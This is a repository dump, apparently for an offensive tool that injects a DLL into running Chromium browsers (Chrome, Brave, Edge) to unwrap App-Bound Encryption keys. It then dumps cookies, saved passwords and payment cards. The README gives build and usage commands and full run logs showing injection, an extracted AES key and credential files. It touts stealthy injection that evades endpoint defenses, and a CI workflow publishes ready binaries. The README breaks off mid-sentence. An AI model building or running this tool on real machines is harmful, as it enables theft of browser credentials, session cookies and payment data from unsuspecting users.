├── .gitattributes ├── .github └── workflows │ └── build_and_release.yml ├── .gitignore ├── .vscode └── settings.json ├── LICENSE ├── README.md ├── docs ├── COMrade_ABE_Field_Manual.md ├── RESEARCH.md └── The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md ├── libs └── sqlite │ ├── sqlite3.c │ └── sqlite3.h ├── src ├── chrome_decrypt.cpp ├── chrome_inject.cpp ├── reflective_loader.c └── reflective_loader.h └── tools └── comrade_abe.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.github/workflows/build_and_release.yml: -------------------------------------------------------------------------------- 1 | name: Build and Release Chrome App-Bound Encryption Decryption 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | tags: 8 | - 'v*.*.*' 9 | workflow_dispatch: 10 | 11 | jobs: 12 | build: 13 | name: Build for ${{ matrix.architecture }} 14 | runs-on: windows-latest 15 | strategy: 16 | matrix: 17 | architecture: [x64, arm64] 18 | include: 19 | - architecture: x64 20 | platform_toolset_arg: x64 21 | output_suffix: x64 # 22 | final_injector_name: chrome_inject_x64.exe 23 | - architecture: arm64 24 | platform_toolset_arg: x64_arm64 25 | output_suffix: arm64 26 | final_injector_name: chrome_inject_arm64.exe 27 | 28 | steps: 29 | - name: Checkout repository 30 | uses: actions/checkout@v4 31 | 32 | - name: Add MSVC to PATH and set up environment variables 33 | uses: ilammy/msvc-dev-cmd@v1 34 | with: 35 | arch: ${{ matrix.platform_toolset_arg }} 36 | 37 | - name: Compile SQLite (${{ matrix.architecture }}) 38 | shell: cmd 39 | run: | 40 | echo "Compiling SQLite for ${{ matrix.architecture }}" 41 | cl /nologo /W3 /O2 /MT /c libs\sqlite\sqlite3.c /Fo"sqlite3_${{ matrix.output_suffix }}.obj" 42 | lib /nologo /OUT:"sqlite3_${{ matrix.output_suffix }}.lib" "sqlite3_${{ matrix.output_suffix }}.obj" 43 | echo "SQLite compilation finished for ${{ matrix.architecture }}" 44 | 45 | - name: Compile chrome_decrypt.dll (${{ matrix.architecture }}) 46 | shell: cmd 47 | run: | 48 | echo "Compiling chrome_decrypt.dll for ${{ matrix.architecture }}" 49 | cl /EHsc /std:c++17 /LD /O2 /MT /Ilibs\sqlite src\chrome_decrypt.cpp src\reflective_loader.c "sqlite3_${{ matrix.output_suffix }}.lib" bcrypt.lib ole32.lib oleaut32.lib shell32.lib version.lib comsuppw.lib /link /OUT:"chrome_decrypt.dll" 50 | echo "chrome_decrypt.dll compilation finished for ${{ matrix.architecture }}" 51 | 52 | - name: Compile chrome_inject.exe (${{ matrix.architecture }}) 53 | shell: cmd 54 | run: | 55 | echo "Compiling chrome_inject.exe for ${{ matrix.architecture }}" 56 | cl /EHsc /O2 /std:c++17 /MT src\chrome_inject.cpp version.lib shell32.lib /link /OUT:"${{ matrix.final_injector_name }}" 57 | echo "chrome_inject.exe compilation finished for ${{ matrix.architecture }}" 58 | 59 | - name: Create Artifacts Directory 60 | run: mkdir staging 61 | 62 | - name: Move artifacts to staging 63 | shell: cmd 64 | run: | 65 | move "chrome_decrypt.dll" staging\ 66 | move "${{ matrix.final_injector_name }}" staging\ 67 | echo "Moved artifacts to staging for ${{ matrix.architecture }}" 68 | 69 | - name: Upload build artifacts (${{ matrix.architecture }}) 70 | uses: actions/upload-artifact@v4 71 | with: 72 | name: chrome-decryptor-binaries-${{ matrix.architecture }} 73 | path: staging/ 74 | 75 | create_release: 76 | name: Create GitHub Release 77 | if: startsWith(github.ref, 'refs/tags/v') 78 | needs: build 79 | runs-on: ubuntu-latest 80 | 81 | outputs: 82 | release_url: ${{ steps.create_release.outputs.html_url }} 83 | 84 | steps: 85 | - name: Checkout repository 86 | uses: actions/checkout@v4 87 | 88 | - name: Download x64 binaries 89 | uses: actions/download-artifact@v4 90 | with: 91 | name: chrome-decryptor-binaries-x64 92 | path: release_assets/x64 93 | 94 | - name: Download ARM64 binaries 95 | uses: actions/download-artifact@v4 96 | with: 97 | name: chrome-decryptor-binaries-arm64 98 | path: release_assets/arm64 99 | 100 | - name: List downloaded files 101 | run: | 102 | echo "--- Listing contents of release_assets ---" 103 | ls -R release_assets 104 | echo "------------------------------------------" 105 | 106 | - name: Create ZIP archives 107 | id: zip_packages 108 | shell: bash 109 | run: | 110 | VERSION_TAG=${{ github.ref_name }} 111 | VERSION_NUM=${VERSION_TAG#v} 112 | 113 | mkdir -p release_packages 114 | 115 | X64_ZIP_NAME="chrome-decryptor-${VERSION_NUM}-x64.zip" 116 | ARM64_ZIP_NAME="chrome-decryptor-${VERSION_NUM}-arm64.zip" 117 | 118 | echo "Zipping x64 assets to release_packages/${X64_ZIP_NAME}..." 119 | if [ -z "$(ls -A release_assets/x64)" ]; then 120 | echo "Error: x64 release_assets directory is empty or files not found!" 121 | ls -l release_assets/ 122 | exit 1 123 | fi 124 | # Zip contents of release_assets/x64: chrome_inject_x64.exe and chrome_decrypt.dll 125 | (cd release_assets/x64 && zip "../../release_packages/${X64_ZIP_NAME}" chrome_inject_x64.exe chrome_decrypt.dll) 126 | 127 | echo "Zipping arm64 assets to release_packages/${ARM64_ZIP_NAME}..." 128 | if [ -z "$(ls -A release_assets/arm64)" ]; then 129 | echo "Error: arm64 release_assets directory is empty or files not found!" 130 | ls -l release_assets/ 131 | exit 1 132 | fi 133 | # Zip contents of release_assets/arm64: chrome_inject_arm64.exe and chrome_decrypt.dll 134 | (cd release_assets/arm64 && zip "../../release_packages/${ARM64_ZIP_NAME}" chrome_inject_arm64.exe chrome_decrypt.dll) 135 | 136 | echo "Created ZIP packages:" 137 | ls -l release_packages 138 | 139 | echo "x64_zip_path=release_packages/${X64_ZIP_NAME}" >> $GITHUB_OUTPUT 140 | echo "arm64_zip_path=release_packages/${ARM64_ZIP_NAME}" >> $GITHUB_OUTPUT 141 | 142 | - name: Create Release 143 | id: create_release 144 | uses: softprops/action-gh-release@v2 145 | env: 146 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 147 | with: 148 | tag_name: ${{ github.ref_name }} 149 | name: Release ${{ github.ref_name }} 150 | body: | 151 | Automated release for version ${{ github.ref_name }}. 152 | Contains x64 and ARM64 binaries. 153 | Each ZIP includes: 154 | - chrome_inject_ARCH.exe (e.g., chrome_inject_x64.exe) 155 | - chrome_decrypt.dll (architecture-specific) 156 | draft: false 157 | prerelease: false 158 | files: | 159 | ${{ steps.zip_packages.outputs.x64_zip_path }} 160 | ${{ steps.zip_packages.outputs.arm64_zip_path }} 161 | fail_on_unmatched_files: true 162 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Build artifacts 2 | *.obj 3 | *.dll 4 | *.exe 5 | *.lib 6 | *.pdb 7 | *.ilk 8 | *.exp 9 | output/ 10 | src/*.obj 11 | src/*.dll 12 | src/*.exe 13 | src/*.lib 14 | libs/sqlite/*.obj 15 | libs/sqlite/*.lib 16 | 17 | # VS Code 18 | .vscode/ 19 | 20 | # Temp files from DLL 21 | /chrome_decrypt.log 22 | /chrome_appbound_key.txt 23 | /chrome_decrypt_session.cfg 24 | /*_decrypt_cookies.txt 25 | /*_decrypt_passwords.txt 26 | /*_decrypt_payments.txt -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "files.associations": { 3 | "atomic": "cpp", 4 | "bit": "cpp", 5 | "cctype": "cpp", 6 | "charconv": "cpp", 7 | "clocale": "cpp", 8 | "cmath": "cpp", 9 | "compare": "cpp", 10 | "concepts": "cpp", 11 | "cstddef": "cpp", 12 | "cstdint": "cpp", 13 | "cstdio": "cpp", 14 | "cstdlib": "cpp", 15 | "cstring": "cpp", 16 | "ctime": "cpp", 17 | "cwchar": "cpp", 18 | "exception": "cpp", 19 | "format": "cpp", 20 | "fstream": "cpp", 21 | "initializer_list": "cpp", 22 | "iomanip": "cpp", 23 | "ios": "cpp", 24 | "iosfwd": "cpp", 25 | "iostream": "cpp", 26 | "istream": "cpp", 27 | "iterator": "cpp", 28 | "limits": "cpp", 29 | "locale": "cpp", 30 | "memory": "cpp", 31 | "new": "cpp", 32 | "ostream": "cpp", 33 | "sstream": "cpp", 34 | "stdexcept": "cpp", 35 | "streambuf": "cpp", 36 | "string": "cpp", 37 | "system_error": "cpp", 38 | "tuple": "cpp", 39 | "type_traits": "cpp", 40 | "typeinfo": "cpp", 41 | "utility": "cpp", 42 | "vector": "cpp", 43 | "xfacet": "cpp", 44 | "xiosbase": "cpp", 45 | "xlocale": "cpp", 46 | "xlocbuf": "cpp", 47 | "xlocinfo": "cpp", 48 | "xlocmes": "cpp", 49 | "xlocmon": "cpp", 50 | "xlocnum": "cpp", 51 | "xloctime": "cpp", 52 | "xmemory": "cpp", 53 | "xstring": "cpp", 54 | "xtr1common": "cpp", 55 | "xutility": "cpp", 56 | "algorithm": "cpp", 57 | "array": "cpp", 58 | "chrono": "cpp", 59 | "filesystem": "cpp", 60 | "forward_list": "cpp", 61 | "map": "cpp", 62 | "mutex": "cpp", 63 | "optional": "cpp", 64 | "ratio": "cpp", 65 | "stop_token": "cpp", 66 | "thread": "cpp", 67 | "xtree": "cpp", 68 | "list": "cpp", 69 | "unordered_map": "cpp", 70 | "xhash": "cpp", 71 | "cwctype": "cpp" 72 | } 73 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Alexander 'xaitax' Hagenah 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Chrome App-Bound Encryption Decryption 2 | 3 | ## 🔍 Overview 4 | 5 | Fully decrypt **App-Bound Encrypted (ABE)** cookies, passwords & payment methods from Chromium-based browsers (Chrome, Brave, Edge) — all in user mode, no admin rights required. 6 | 7 | If you find this useful, I’d appreciate a coffee: 8 | [![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/M4M61EP5XL) 9 | 10 | ## 🛡️ Background 11 | 12 | Starting in **Chrome 127+**, Google added App-Bound Encryption to strengthen local data: 13 | 14 | 1. **Key generation**: a per-profile AES-256-GCM key is created and wrapped by Windows DPAPI. 15 | 2. **Storage**: that wrapped key (Base64-encoded, prefixed with `APPB`) lands in your **Local State** file. 16 | 3. **Unwrapping**: Chrome calls the **IElevator** COM server, but **only** if the caller’s EXE lives in the browser’s install directory. 17 | 18 | These path-validation checks prevent any external tool — even with direct DPAPI access — from unwrapping the ABE key. 19 | 20 | ## 🚀 How It Works 21 | 22 | **This project** injects a DLL into the running browser process using **Reflective DLL Injection (RDI)**. The RDI technique for x64 is based on [Stephen Fewer's original work](https://github.com/stephenfewer/ReflectiveDLLInjection), and for ARM64, it utilizes my method detailed in [ARM64-ReflectiveDLLInjection](https://github.com/xaitax/ARM64-ReflectiveDLLInjection). Once injected, the DLL: 23 | 24 | - **Runs from inside** the browser’s address space (satisfies IElevator’s install-folder check) 25 | - **Invokes** the IElevator COM interface directly to unwrap the ABE key 26 | - **Uses** that key to decrypt cookies, passwords, and payment data - all in user land, no elevation needed 27 | 28 | ## 🔬 In-Depth Technical Analysis & Research 29 | 30 | For a comprehensive understanding of Chrome's App-Bound Encryption, the intricacies of its implementation, the detailed mechanics of this tool's approach, and a broader discussion of related security vectors, please refer to my detailed research paper: 31 | 32 | 1. ➡️ **[Chrome App-Bound Encryption (ABE) - Technical Deep Dive & Research Notes](docs/RESEARCH.md)** 33 | 34 | This document covers: 35 | * The evolution from DPAPI to ABE. 36 | * A step-by-step breakdown of the ABE mechanism, including `IElevator` COM interactions and key wrapping. 37 | * Detailed methodology of the DLL injection strategy used by this tool. 38 | * Analysis of encrypted data structures and relevant Chromium source code insights. 39 | * Discussion of alternative decryption vectors and Chrome's evolving defenses. 40 | 41 | 2. ➡️ **[The Curious Case of the Cantankerous COM: Decrypting Microsoft Edge's App-Bound Encryption](docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)** 42 | 43 | This article details the specific challenges and reverse engineering journey undertaken to achieve reliable ABE decryption for Microsoft Edge. It includes: 44 | * An account of the initial issues and misleading error codes (`E_INVALIDARG`, `E_NOINTERFACE`). 45 | * The process of using COM type library introspection (with Python `comtypes`) to uncover Edge's unique `IElevatorEdge` vtable structure and inheritance. 46 | * How this insight led to tailored C++ interface stubs for successful interaction with Edge's ABE service. 47 | * A practical look at debugging tricky COM interoperability issues. 48 | 49 | 3. ➡️ **[COMrade ABE: Your Field Manual for App-Bound Encryption's COM Underbelly](docs/COMrade_ABE_Field_Manual.md)** 50 | 51 | This field manual introduces **COMrade ABE**, a Python-based dynamic analyzer for ABE COM interfaces, and dives into its practical applications: 52 | * Explains the necessity for dynamic COM interface analysis due to browser variations and updates. 53 | * Details COMrade ABE's methodology: registry scanning for service discovery, Type Library loading and parsing, and heuristic-based ABE method signature matching. 54 | * Provides a comprehensive guide to interpreting COMrade ABE's output, including CLSIDs, IIDs (standard and C++ style), and the significance of verbose output details like VTable offsets, defining interfaces, and full inheritance chains. 55 | * Highlights the utility of the auto-generated C++ stubs (`--output-cpp-stub`) for rapid development and research. 56 | * Discusses how COMrade ABE aids in adapting to ABE changes, analyzing new Chromium browsers, and understanding vendor-specific COM customizations. 57 | 58 | ### ⚙️ Key Features 59 | 60 | - 🔓 Full user-mode decryption & JSON export of cookies, passwords & payment methods 61 | - 📁 Customizable output directory for extracted data (`.\output\` by default) 62 | - 👥 Support for multiple browser profiles (Default, Profile 1, Profile 2, etc.) 63 | - 🚧 Stealthy Reflective DLL Injection to bypass path checks & common endpoint defenses 64 | - 🌐 Works on **Google Chrome**, **Brave** & **Edge** (x64 & ARM64) 65 | - 🛠️ No admin privileges required 66 | 67 | ![image](https://github.com/user-attachments/assets/ffceb425-be2b-47d5-9a9b-e622976875ba) 68 | 69 | ## 📦 Supported & Tested Versions 70 | 71 | | Browser | Tested Version (x64 & ARM64) | 72 | | ------------------ | ---------------------------- | 73 | | **Google Chrome** | 137.0.7151.56 | 74 | | **Brave** | 1.78.102 (136.0.7103.113) | 75 | | **Microsoft Edge** | 137.0.3296.52 | 76 | 77 | > [!NOTE] 78 | > The injector requires the target browser to be **running** unless you use `--start-browser`. 79 | 80 | ## 🔧 Build Instructions 81 | 82 | 1. **Clone** the repository and open a _Developer Command Prompt for VS_ (or any MSVC‑enabled shell). 83 | 84 | 2. **Prepare SQLite Amalgamation** 85 | 86 | 1. The [SQLite “autoconf” amalgamation](https://www.sqlite.org/download.html) source files (`sqlite3.c`, `sqlite3.h`) are included in the `libs/sqlite/` directory. 87 | 88 | 2. In a **Developer Command Prompt for VS** (ensure you're in the project root): 89 | 90 | ```bash 91 | cl /nologo /W3 /O2 /MT /c libs\sqlite\sqlite3.c /Folibs\sqlite\sqlite3.obj 92 | lib /nologo /OUT:libs\sqlite\sqlite3.lib libs\sqlite\sqlite3.obj 93 | ``` 94 | 95 | This produces `libs\sqlite\sqlite3.lib` which will be linked into the DLL. 96 | 97 | 3. **Compile the DLL** (responsible for the decryption logic): 98 | 99 | ```bash 100 | cl /EHsc /std:c++17 /LD /O2 /MT /Ilibs\sqlite src\chrome_decrypt.cpp src\reflective_loader.c libs\sqlite\sqlite3.lib bcrypt.lib ole32.lib oleaut32.lib shell32.lib version.lib comsuppw.lib /link /OUT:chrome_decrypt.dll 101 | ``` 102 | 103 | 4. **Compile the injector** (responsible for DLL injection & console UX): 104 | 105 | ```bash 106 | cl /EHsc /O2 /std:c++17 /MT src\chrome_inject.cpp version.lib shell32.lib /link /OUT:chrome_inject.exe 107 | ``` 108 | 109 | Both artifacts (`chrome_inject.exe`, `chrome_decrypt.dll`) must reside in the same folder. 110 | 111 | ### Automated Builds with GitHub Actions 112 | 113 | This project uses GitHub Actions to automatically build `chrome_inject.exe` and `chrome_decrypt.dll` for both **x64** and **ARM64** architectures. 114 | 115 | Each architecture-specific ZIP (e.g., `chrome-decryptor-0.10.0-x64.zip`) will contain `chrome_inject_ARCH.exe` (e.g., `chrome_inject_x64.exe`) and the corresponding architecture-specific `chrome_decrypt.dll`. 116 | 117 | You can find pre-compiled binaries attached to the [Releases page](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/releases) of this repository. 118 | 119 | ## 🚀 Usage 120 | 121 | ```bash 122 | PS> .\chrome_inject.exe [options] 123 | ``` 124 | 125 | ### Options 126 | 127 | Options 128 | 129 | - `--start-browser` or `-s` 130 | Auto-launch the browser if it’s not already running. 131 | 132 | - `--output-path ` or `-o ` 133 | Specifies the base directory for output files. 134 | Defaults to `.\output\` relative to the injector's location. 135 | Data will be organized into subfolders: `///`. 136 | 137 | - `--verbose` or `-v` 138 | Enable extensive debugging output from the injector. 139 | 140 | - `--help` or `-h` 141 | Show this help message. 142 | 143 | ### Examples 144 | 145 | ```bash 146 | # Standard load-library injection: 147 | PS> .\chrome_inject.exe chrome 148 | 149 | # Auto-start Brave and show debug logs: 150 | PS> .\chrome_inject.exe --method load --start-browser --verbose brave 151 | ``` 152 | 153 | #### Normal Run 154 | 155 | ```bash 156 | PS C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption>chrome_inject.exe chrome --start-browser 157 | ------------------------------------------------ 158 | | Chrome App-Bound Encryption Decryption | 159 | | Reflective DLL Process Injection | 160 | | Cookies / Passwords / Payment Methods | 161 | | v0.10.0 by @xaitax | 162 | ------------------------------------------------ 163 | 164 | [*] Chrome not running, launching... 165 | [+] Chrome (v. 137.0.7151.56) launched w/ PID 18900 166 | [+] DLL injected via Reflective DLL Injection (RDI) 167 | [*] Waiting for DLL decryption tasks to complete (max 60s)... 168 | [+] DLL signaled completion. 169 | 170 | [+] COM library initialized (APARTMENTTHREADED). 171 | [+] Attempting to read Local State file: C:\Users\ah\AppData\Local\Google\Chrome\User Data\Local State 172 | [+] Encrypted key header is valid. 173 | [+] Encrypted key blob from Local State (1220 bytes). 174 | [+] Encrypted key (preview): 01000000d08c9ddf0115d1118c7a00c0... 175 | [+] IElevator instance created for Chrome. 176 | [+] Proxy blanket set (PKT_PRIVACY, IMPERSONATE, DYNAMIC_CLOAKING) for Chrome. 177 | [+] IElevator -> DecryptData successful. Decrypted key length: 32 178 | [+] Decrypted AES key (hex) saved to: C:\Users\ah\AppData\Local\Temp\chrome_appbound_key.txt 179 | [+] Decrypted AES Key (hex): 97fd6072e90096a6f00dc4cb7d9d6d2a7368122614a99e1cc5aa980fbdba886b 180 | [*] Found profile: Default 181 | [*] Found profile: Profile 1 182 | [*] Processing profile: Default at path: C:\Users\ah\AppData\Local\Google\Chrome\User Data\Default 183 | [*] 9 Cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\cookies.txt 184 | [*] 1 Passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\passwords.txt 185 | [*] 1 Payment methods extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\payments.txt 186 | [*] Processing profile: Profile 1 at path: C:\Users\ah\AppData\Local\Google\Chrome\User Data\Profile 1 187 | [*] 32 Cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\cookies.txt 188 | [*] Chrome data decryption process finished for Chrome. 189 | [*] Unloading DLL and exiting worker thread. 190 | ``` 191 | 192 | #### Verbose 193 | 194 | ```bash 195 | PS C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption> .\chrome_inject.exe chrome --start-browser --verbose 196 | ------------------------------------------------ 197 | | Chrome App-Bound Encryption Decryption | 198 | | Reflective DLL Process Injection | 199 | | Cookies / Passwords / Payment Methods | 200 | | v0.10.0 by @xaitax | 201 | ------------------------------------------------ 202 | 203 | [#] Verbose mode enabled. 204 | [#] CleanupPreviousRun: attempting to remove temp files 205 | [#] Deleting C:\Users\ah\AppData\Local\Temp\chrome_decrypt.log 206 | [#] Deleting C:\Users\ah\AppData\Local\Temp\chrome_appbound_key.txt 207 | [#] Resolved output path: C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output 208 | [#] Writing session config to: C:\Users\ah\AppData\Local\Temp\chrome_decrypt_session.cfg 209 | [#] HandleGuard: acquired handle 0xb0 (CompletionEvent) 210 | [#] Created completion event: Global\ChromeDecryptWorkDoneEvent 211 | [#] Target: Chrome, Process: chrome.exe, Default Exe: C:\Program Files\Google\Chrome\Application\chrome.exe 212 | [#] GetProcessIdByName: snapshotting processes for chrome.exe 213 | [#] HandleGuard: acquired handle 0xb4 (CreateToolhelp32Snapshot) 214 | [#] GetProcessIdByName: Process chrome.exe not found. 215 | [#] HandleGuard: closing handle 0xb4 (CreateToolhelp32Snapshot) 216 | [*] Chrome not running, launching... 217 | [#] StartBrowserAndWait: attempting to launch: C:\Program Files\Google\Chrome\Application\chrome.exe 218 | [#] HandleGuard: acquired handle 0xd8 (BrowserProcessHandle) 219 | [#] HandleGuard: acquired handle 0xd4 (BrowserMainThreadHandle) 220 | [#] Waiting 3s for browser to initialize... 221 | [#] Browser started PID=5420 222 | [#] HandleGuard: closing handle 0xd4 (BrowserMainThreadHandle) 223 | [#] HandleGuard: closing handle 0xd8 (BrowserProcessHandle) 224 | [#] Retrieving version info for: C:\Program Files\Google\Chrome\Application\chrome.exe 225 | [#] Version query successful: 137.0.7151.56 226 | [+] Chrome (v. 137.0.7151.56) launched w/ PID 5420 227 | [#] Opening process PID=5420 228 | [#] HandleGuard: acquired handle 0xd8 (TargetProcessHandle) 229 | [#] IsWow64Process2: processMachine=Unknown, nativeMachine=ARM64, effectiveArch=ARM64 230 | [#] IsWow64Process2: processMachine=Unknown, nativeMachine=ARM64, effectiveArch=ARM64 231 | [#] Architecture match: Injector=ARM64, Target=ARM64 232 | [#] GetPayloadDllPathUtf8: DLL path determined as: C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\chrome_decrypt.dll 233 | [#] InjectWithReflectiveLoader: begin for DLL: C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\chrome_decrypt.dll 234 | [#] RDI: DLL read into local buffer. Size: 1405440 bytes. 235 | [#] RDI: ReflectiveLoader file offset: 0x18f38 236 | [#] RDI: Memory allocated in target at 0x167ae180000 (Size: 1405440 bytes) 237 | [#] RDI: DLL written to target memory. 238 | [#] RDI: Calculated remote ReflectiveLoader address: 0x167ae198f38 239 | [#] HandleGuard: acquired handle 0xec (RemoteReflectiveLoaderThread) 240 | [#] RDI: Waiting for remote ReflectiveLoader thread to complete (max 15s)... 241 | [#] RDI: Remote thread exit code: 0xae2e0000 242 | [#] RDI: Remote ReflectiveLoader thread finished. 243 | [#] InjectWithReflectiveLoader: done 244 | [#] HandleGuard: closing handle 0xec (RemoteReflectiveLoaderThread) 245 | [+] DLL injected via Reflective DLL Injection (RDI) 246 | [*] Waiting for DLL decryption tasks to complete (max 60s)... 247 | [+] DLL signaled completion. 248 | [#] Attempting to display log file: C:\Users\ah\AppData\Local\Temp\chrome_decrypt.log 249 | 250 | [+] Terminated process: ID 14876 (chrome.exe) 251 | [+] Terminated process: ID 25540 (chrome.exe) 252 | [+] Terminated process: ID 28300 (chrome.exe) 253 | [+] Terminated process: ID 3008 (chrome.exe) 254 | [+] Terminated process: ID 10540 (chrome.exe) 255 | [+] Terminated process: ID 15632 (chrome.exe) 256 | [+] COM library initialized (APARTMENTTHREADED). 257 | [+] Attempting to read Local State file: C:\Users\ah\AppData\Local\Google\Chrome\User Data\Local State 258 | [+] Encrypted key header is valid. 259 | [+] Encrypted key blob from Local State (1220 bytes). 260 | [+] Encrypted key (preview): 01000000d08c9ddf0115d1118c7a00c0... 261 | [+] IElevator instance created for Chrome. 262 | [+] Proxy blanket set (PKT_PRIVACY, IMPERSONATE, DYNAMIC_CLOAKING) for Chrome. 263 | [+] IElevator -> DecryptData successful. Decrypted key length: 32 264 | [+] Decrypted AES key (hex) saved to: C:\Users\ah\AppData\Local\Temp\chrome_appbound_key.txt 265 | [+] Decrypted AES Key (hex): 97fd6072e90096a6f00dc4cb7d9d6d2a7368122614a99e1cc5aa980fbdba886b 266 | [*] Found profile: Default 267 | [*] Found profile: Profile 1 268 | [*] Processing profile: Default at path: C:\Users\ah\AppData\Local\Google\Chrome\User Data\Default 269 | [*] 9 Cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\cookies.txt 270 | [*] 1 Passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\passwords.txt 271 | [*] 1 Payment methods extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\payments.txt 272 | [*] Processing profile: Profile 1 at path: C:\Users\ah\AppData\Local\Google\Chrome\User Data\Profile 1 273 | [*] 32 Cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\cookies.txt 274 | [*] Chrome data decryption process finished for Chrome. 275 | [*] Unloading DLL and exiting worker thread. 276 | [#] Terminating browser PID=5420 because injector started it. 277 | [#] HandleGuard: acquired handle 0xec (ProcessToKillHandle) 278 | [*] Chrome terminated by injector. 279 | [#] HandleGuard: closing handle 0xec (ProcessToKillHandle) 280 | [#] Injector finished. 281 | [#] HandleGuard: closing handle 0xd8 (TargetProcessHandle) 282 | [#] HandleGuard: closing handle 0xb0 (CompletionEvent) 283 | ``` 284 | 285 | ## 📂 Data Extraction 286 | 287 | Once decryption completes, data is saved to the specified output path (defaulting to `.\output\` if not specified via `--output-path`). Files are organized as follows: 288 | 289 | **Base Path:** `YOUR_CHOSEN_PATH` (e.g., `.\output\` or the path you provide) 290 | **Structure:** ///.txt 291 | 292 | Example paths (assuming default output location):** 293 | 294 | - 🍪 **Cookies (Chrome Default profile):** .\output\Chrome\Default\cookies.txt 295 | - 🔑 **Passwords (Edge Profile 1):** .\output\Edge\Profile 1\passwords.txt 296 | - 💳 **Payment Methods (Brave Default profile):** .\output\Brave\Default\payments.txt 297 | 298 | ### 🍪 Cookie Extraction 299 | 300 | Each cookie file is a JSON array of objects: 301 | 302 | ```json 303 | [ 304 | { 305 | "host": "accounts.google.com", 306 | "name": "ACCOUNT_CHOOSER", 307 | "value": "AFx_qI781-…" 308 | }, 309 | { 310 | "host": "mail.google.com", 311 | "name": "OSID", 312 | "value": "g.a000uwj5ufIS…" 313 | }, 314 | … 315 | ] 316 | ``` 317 | 318 | ### 🔑 Password Extraction 319 | 320 | Each password file is a JSON array of objects: 321 | 322 | ```json 323 | [ 324 | { 325 | "origin": "https://example.com/login", 326 | "username": "user@example.com", 327 | "password": "••••••••••" 328 | }, 329 | { 330 | "origin": "https://another.example.com", 331 | "username": "another_user", 332 | "password": "••••••••••" 333 | } 334 | … 335 | ] 336 | ``` 337 | 338 | ### 💳 Payment Method Extraction 339 | 340 | Each payment file is a JSON array of objects: 341 | 342 | ```json 343 | [ 344 | { 345 | "name_on_card": "John Doe", 346 | "expiration_month": 12, 347 | "expiration_year": 2030, 348 | "card_number": "••••••••••1234", 349 | "cvc": "•••" 350 | }, 351 | { 352 | "name_on_card": "Jane Smith", 353 | "expiration_month": 07, 354 | "expiration_year": 2028, 355 | "card_number": "••••••••••5678", 356 | "cvc": "•••" 357 | } 358 | … 359 | ] 360 | ``` 361 | 362 | ## ⚠️ Potential Issues & Errors 363 | 364 | ### `DecryptData failed. HRESULT: 0x8004a003. Last COM Error: 8009000b. Decrypted BSTR is null.` 365 | 366 | If you encounter this error message from the DLL's log output, it indicates a failure within Chrome's internal decryption mechanism, specifically when calling the `IElevator::DecryptData` COM method. 367 | 368 | Let's break down the error codes: 369 | 370 | * **`HRESULT: 0x8004a003`**: This is the COM error code `EPT_S_NOT_REGISTERED`. It typically means that a necessary RPC (Remote Procedure Call) endpoint that the `IElevator` COM object relies upon could not be found, was not registered, or there was an issue with inter-process communication. This could be a primary cause or a contributing factor preventing the `IElevator` object from functioning correctly. 371 | * **`Last COM Error: 0x8009000b`** (hexadecimal for `2148073483`): This is the Windows Cryptography API error `NTE_BAD_KEY_STATE` (“Key not valid for use in specified state”). This means DPAPI (the Windows Data Protection API) couldn’t decrypt the wrapped AES-GCM key stored in Chrome’s `Local State` file. The key was likely inaccessible or considered invalid *from the context or state in which the `IElevator` object was trying to use it*. 372 | 373 | The `EPT_S_NOT_REGISTERED` error might prevent the `IElevator` from establishing the correct operational context or from communicating with other necessary Chrome components, which in turn leads to the `NTE_BAD_KEY_STATE` when it attempts the 